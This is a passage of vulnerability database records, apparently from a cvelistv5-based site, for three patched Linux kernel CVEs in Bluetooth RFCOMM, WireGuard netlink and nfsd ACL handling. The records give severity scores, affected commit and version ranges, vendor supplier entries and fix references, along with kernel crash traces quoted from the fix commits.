          "dateUpdated": "2025-11-03T21:55:08.869Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c3f787a3eafe519c93df9abbb0ca5145861c8d0f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a97de7bff13b1cc825c1b1344eaed8d6c2d3e695"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:16.942Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/rfcomm/sock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d072ea24748189cd8f4a9c3f585ca9af073a0838",
              "status": "affected",
              "version": "bb23c0ab824653be4aa7dfca15b07b3059717004",
              "versionType": "git"
            },
            {
              "lessThan": "00767fbd67af70d7a550caa5b12d9515fa978bab",
              "status": "affected",
              "version": "bb23c0ab824653be4aa7dfca15b07b3059717004",
              "versionType": "git"
            },
            {
              "lessThan": "eea40d33bf936a5c7fb03c190e61e0cfee00e872",
              "status": "affected",
              "version": "bb23c0ab824653be4aa7dfca15b07b3059717004",
              "versionType": "git"
            },
            {
              "lessThan": "4ea65e2095e9bd151d0469328dd7fc2858feb546",
              "status": "affected",
              "version": "bb23c0ab824653be4aa7dfca15b07b3059717004",
              "versionType": "git"
            },
            {
              "lessThan": "c3f787a3eafe519c93df9abbb0ca5145861c8d0f",
              "status": "affected",
              "version": "bb23c0ab824653be4aa7dfca15b07b3059717004",
              "versionType": "git"
            },
            {
              "lessThan": "a97de7bff13b1cc825c1b1344eaed8d6c2d3e695",
              "status": "affected",
              "version": "bb23c0ab824653be4aa7dfca15b07b3059717004",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/rfcomm/sock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.30"
            },
            {
              "lessThan": "2.6.30",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.178",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.107",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.47",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.178",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.107",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.47",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.7",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: RFCOMM: Fix not validating setsockopt user input\n\nsyzbot reported rfcomm_sock_setsockopt_old() is copying data without\nchecking user input length.\n\nBUG: KASAN: slab-out-of-bounds in copy_from_sockptr_offset\ninclude/linux/sockptr.h:49 [inline]\nBUG: KASAN: slab-out-of-bounds in copy_from_sockptr\ninclude/linux/sockptr.h:55 [inline]\nBUG: KASAN: slab-out-of-bounds in rfcomm_sock_setsockopt_old\nnet/bluetooth/rfcomm/sock.c:632 [inline]\nBUG: KASAN: slab-out-of-bounds in rfcomm_sock_setsockopt+0x893/0xa70\nnet/bluetooth/rfcomm/sock.c:673\nRead of size 4 at addr ffff8880209a8bc3 by task syz-executor632/5064"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:39.055Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d072ea24748189cd8f4a9c3f585ca9af073a0838"
        },
        {
          "url": "https://git.kernel.org/stable/c/00767fbd67af70d7a550caa5b12d9515fa978bab"
        },
        {
          "url": "https://git.kernel.org/stable/c/eea40d33bf936a5c7fb03c190e61e0cfee00e872"
        },
        {
          "url": "https://git.kernel.org/stable/c/4ea65e2095e9bd151d0469328dd7fc2858feb546"
        },
        {
          "url": "https://git.kernel.org/stable/c/c3f787a3eafe519c93df9abbb0ca5145861c8d0f"
        },
        {
          "url": "https://git.kernel.org/stable/c/a97de7bff13b1cc825c1b1344eaed8d6c2d3e695"
        }
      ],
      "title": "Bluetooth: RFCOMM: Fix not validating setsockopt user input",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35966",
    "datePublished": "2024-05-20T09:41:55.838Z",
    "dateReserved": "2024-05-17T13:50:33.138Z",
    "dateUpdated": "2026-05-12T11:53:16.942Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26950 (GCVE-0-2024-26950)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:18 – Updated: 2026-05-12 11:50

Title

wireguard: netlink: access device through ctx instead of peer

Summary

In the Linux kernel, the following vulnerability has been resolved: wireguard: netlink: access device through ctx instead of peer The previous commit fixed a bug that led to a NULL peer->device being dereferenced. It's actually easier and faster performance-wise to instead get the device from ctx->wg. This semantically makes more sense too, since ctx->wg->peer_allowedips.seq is compared with ctx->allowedips_seq, basing them both in ctx. This also acts as a defence in depth provision against freed peers.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/493aa6bdcffd90a4f…
https://git.kernel.org/stable/c/4be453271a882c8eb…
https://git.kernel.org/stable/c/09c3fa70f65175861…
https://git.kernel.org/stable/c/c991567e6c6380793…
https://git.kernel.org/stable/c/93bcc1752c69bb309…
https://git.kernel.org/stable/c/d44bd323d8bb8031e…
https://git.kernel.org/stable/c/71cbd32e3db82ea4a…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e7096c131e5161fa3b8e52a650d7719d2857adfd , < 493aa6bdcffd90a4f82aa614fe4f4db0641b4068 (git) Affected: e7096c131e5161fa3b8e52a650d7719d2857adfd , < 4be453271a882c8ebc28df3dbf9e4d95e6ac42f5 (git) Affected: e7096c131e5161fa3b8e52a650d7719d2857adfd , < 09c3fa70f65175861ca948cb2f0f791e666c90e5 (git) Affected: e7096c131e5161fa3b8e52a650d7719d2857adfd , < c991567e6c638079304cc15dff28748e4a3c4a37 (git) Affected: e7096c131e5161fa3b8e52a650d7719d2857adfd , < 93bcc1752c69bb309f4d8cfaf960ef1faeb34996 (git) Affected: e7096c131e5161fa3b8e52a650d7719d2857adfd , < d44bd323d8bb8031eef4bdc44547925998a11e47 (git) Affected: e7096c131e5161fa3b8e52a650d7719d2857adfd , < 71cbd32e3db82ea4a74e3ef9aeeaa6971969c86f (git)
Linux	Linux	Affected: 5.6 Unaffected: 0 , < 5.6 (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-26950",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-06T18:55:56.220490Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-07T15:00:58.528Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.839Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/493aa6bdcffd90a4f82aa614fe4f4db0641b4068"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4be453271a882c8ebc28df3dbf9e4d95e6ac42f5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/09c3fa70f65175861ca948cb2f0f791e666c90e5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c991567e6c638079304cc15dff28748e4a3c4a37"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/93bcc1752c69bb309f4d8cfaf960ef1faeb34996"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d44bd323d8bb8031eef4bdc44547925998a11e47"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/71cbd32e3db82ea4a74e3ef9aeeaa6971969c86f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:46.376Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireguard/netlink.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "493aa6bdcffd90a4f82aa614fe4f4db0641b4068",
              "status": "affected",
              "version": "e7096c131e5161fa3b8e52a650d7719d2857adfd",
              "versionType": "git"
            },
            {
              "lessThan": "4be453271a882c8ebc28df3dbf9e4d95e6ac42f5",
              "status": "affected",
              "version": "e7096c131e5161fa3b8e52a650d7719d2857adfd",
              "versionType": "git"
            },
            {
              "lessThan": "09c3fa70f65175861ca948cb2f0f791e666c90e5",
              "status": "affected",
              "version": "e7096c131e5161fa3b8e52a650d7719d2857adfd",
              "versionType": "git"
            },
            {
              "lessThan": "c991567e6c638079304cc15dff28748e4a3c4a37",
              "status": "affected",
              "version": "e7096c131e5161fa3b8e52a650d7719d2857adfd",
              "versionType": "git"
            },
            {
              "lessThan": "93bcc1752c69bb309f4d8cfaf960ef1faeb34996",
              "status": "affected",
              "version": "e7096c131e5161fa3b8e52a650d7719d2857adfd",
              "versionType": "git"
            },
            {
              "lessThan": "d44bd323d8bb8031eef4bdc44547925998a11e47",
              "status": "affected",
              "version": "e7096c131e5161fa3b8e52a650d7719d2857adfd",
              "versionType": "git"
            },
            {
              "lessThan": "71cbd32e3db82ea4a74e3ef9aeeaa6971969c86f",
              "status": "affected",
              "version": "e7096c131e5161fa3b8e52a650d7719d2857adfd",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireguard/netlink.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.6"
            },
            {
              "lessThan": "5.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwireguard: netlink: access device through ctx instead of peer\n\nThe previous commit fixed a bug that led to a NULL peer-\u003edevice being\ndereferenced. It\u0027s actually easier and faster performance-wise to\ninstead get the device from ctx-\u003ewg. This semantically makes more sense\ntoo, since ctx-\u003ewg-\u003epeer_allowedips.seq is compared with\nctx-\u003eallowedips_seq, basing them both in ctx. This also acts as a\ndefence in depth provision against freed peers."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:07:31.077Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/493aa6bdcffd90a4f82aa614fe4f4db0641b4068"
        },
        {
          "url": "https://git.kernel.org/stable/c/4be453271a882c8ebc28df3dbf9e4d95e6ac42f5"
        },
        {
          "url": "https://git.kernel.org/stable/c/09c3fa70f65175861ca948cb2f0f791e666c90e5"
        },
        {
          "url": "https://git.kernel.org/stable/c/c991567e6c638079304cc15dff28748e4a3c4a37"
        },
        {
          "url": "https://git.kernel.org/stable/c/93bcc1752c69bb309f4d8cfaf960ef1faeb34996"
        },
        {
          "url": "https://git.kernel.org/stable/c/d44bd323d8bb8031eef4bdc44547925998a11e47"
        },
        {
          "url": "https://git.kernel.org/stable/c/71cbd32e3db82ea4a74e3ef9aeeaa6971969c86f"
        }
      ],
      "title": "wireguard: netlink: access device through ctx instead of peer",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26950",
    "datePublished": "2024-05-01T05:18:29.902Z",
    "dateReserved": "2024-02-19T14:20:24.198Z",
    "dateUpdated": "2026-05-12T11:50:46.376Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21796 (GCVE-0-2025-21796)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:18 – Updated: 2026-05-12 12:03

Title

nfsd: clear acl_access/acl_default after releasing them

Summary

In the Linux kernel, the following vulnerability has been resolved: nfsd: clear acl_access/acl_default after releasing them If getting acl_default fails, acl_access and acl_default will be released simultaneously. However, acl_access will still retain a pointer pointing to the released posix_acl, which will trigger a WARNING in nfs3svc_release_getacl like this: ------------[ cut here ]------------ refcount_t: underflow; use-after-free. WARNING: CPU: 26 PID: 3199 at lib/refcount.c:28 refcount_warn_saturate+0xb5/0x170 Modules linked in: CPU: 26 UID: 0 PID: 3199 Comm: nfsd Not tainted 6.12.0-rc6-00079-g04ae226af01f-dirty #8 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.1-2.fc37 04/01/2014 RIP: 0010:refcount_warn_saturate+0xb5/0x170 Code: cc cc 0f b6 1d b3 20 a5 03 80 fb 01 0f 87 65 48 d8 00 83 e3 01 75 e4 48 c7 c7 c0 3b 9b 85 c6 05 97 20 a5 03 01 e8 fb 3e 30 ff <0f> 0b eb cd 0f b6 1d 8a3 RSP: 0018:ffffc90008637cd8 EFLAGS: 00010282 RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffffff83904fde RDX: dffffc0000000000 RSI: 0000000000000008 RDI: ffff88871ed36380 RBP: ffff888158beeb40 R08: 0000000000000001 R09: fffff520010c6f56 R10: ffffc90008637ab7 R11: 0000000000000001 R12: 0000000000000001 R13: ffff888140e77400 R14: ffff888140e77408 R15: ffffffff858b42c0 FS: 0000000000000000(0000) GS:ffff88871ed00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000562384d32158 CR3: 000000055cc6a000 CR4: 00000000000006f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> ? refcount_warn_saturate+0xb5/0x170 ? __warn+0xa5/0x140 ? refcount_warn_saturate+0xb5/0x170 ? report_bug+0x1b1/0x1e0 ? handle_bug+0x53/0xa0 ? exc_invalid_op+0x17/0x40 ? asm_exc_invalid_op+0x1a/0x20 ? tick_nohz_tick_stopped+0x1e/0x40 ? refcount_warn_saturate+0xb5/0x170 ? refcount_warn_saturate+0xb5/0x170 nfs3svc_release_getacl+0xc9/0xe0 svc_process_common+0x5db/0xb60 ? __pfx_svc_process_common+0x10/0x10 ? __rcu_read_unlock+0x69/0xa0 ? __pfx_nfsd_dispatch+0x10/0x10 ? svc_xprt_received+0xa1/0x120 ? xdr_init_decode+0x11d/0x190 svc_process+0x2a7/0x330 svc_handle_xprt+0x69d/0x940 svc_recv+0x180/0x2d0 nfsd+0x168/0x200 ? __pfx_nfsd+0x10/0x10 kthread+0x1a2/0x1e0 ? kthread+0xf4/0x1e0 ? __pfx_kthread+0x10/0x10 ret_from_fork+0x34/0x60 ? __pfx_kthread+0x10/0x10 ret_from_fork_asm+0x1a/0x30 </TASK> Kernel panic - not syncing: kernel: panic_on_warn set ... Clear acl_access/acl_default after posix_acl_release is called to prevent UAF from being triggered.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/8a1737ae42c928384…
https://git.kernel.org/stable/c/6f7cfee1a31689189…
https://git.kernel.org/stable/c/2e59b2b6878251956…
https://git.kernel.org/stable/c/55d947315fb5f67a3…
https://git.kernel.org/stable/c/f8d871523142f7895…
https://git.kernel.org/stable/c/1fd94884174bd20be…
https://git.kernel.org/stable/c/7faf14a7b0366f153…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a257cdd0e2179630d3201c32ba14d7fcb3c3a055 , < 8a1737ae42c928384ab6447f6ee1a882510e85fa (git) Affected: a257cdd0e2179630d3201c32ba14d7fcb3c3a055 , < 6f7cfee1a316891890c505563aa54f3476db52fd (git) Affected: a257cdd0e2179630d3201c32ba14d7fcb3c3a055 , < 2e59b2b68782519560b3d6a41dd66a3d01a01cd3 (git) Affected: a257cdd0e2179630d3201c32ba14d7fcb3c3a055 , < 55d947315fb5f67a35e4e1d3e01bb886b9c6decf (git) Affected: a257cdd0e2179630d3201c32ba14d7fcb3c3a055 , < f8d871523142f7895f250a856f8c4a4181614510 (git) Affected: a257cdd0e2179630d3201c32ba14d7fcb3c3a055 , < 1fd94884174bd20beb1773990fd3b1aa877688d9 (git) Affected: a257cdd0e2179630d3201c32ba14d7fcb3c3a055 , < 7faf14a7b0366f153284db0ad3347c457ea70136 (git)
Linux	Linux	Affected: 2.6.13 Unaffected: 0 , < 2.6.13 (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21796",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-27T17:57:11.080279Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-27T18:02:26.612Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:59:40.254Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:56.109Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs2acl.c",
            "fs/nfsd/nfs3acl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "8a1737ae42c928384ab6447f6ee1a882510e85fa",
              "status": "affected",
              "version": "a257cdd0e2179630d3201c32ba14d7fcb3c3a055",
              "versionType": "git"
            },
            {
              "lessThan": "6f7cfee1a316891890c505563aa54f3476db52fd",
              "status": "affected",
              "version": "a257cdd0e2179630d3201c32ba14d7fcb3c3a055",
              "versionType": "git"
            },
            {
              "lessThan": "2e59b2b68782519560b3d6a41dd66a3d01a01cd3",
              "status": "affected",
              "version": "a257cdd0e2179630d3201c32ba14d7fcb3c3a055",
              "versionType": "git"
            },
            {
              "lessThan": "55d947315fb5f67a35e4e1d3e01bb886b9c6decf",
              "status": "affected",
              "version": "a257cdd0e2179630d3201c32ba14d7fcb3c3a055",
              "versionType": "git"
            },
            {
              "lessThan": "f8d871523142f7895f250a856f8c4a4181614510",
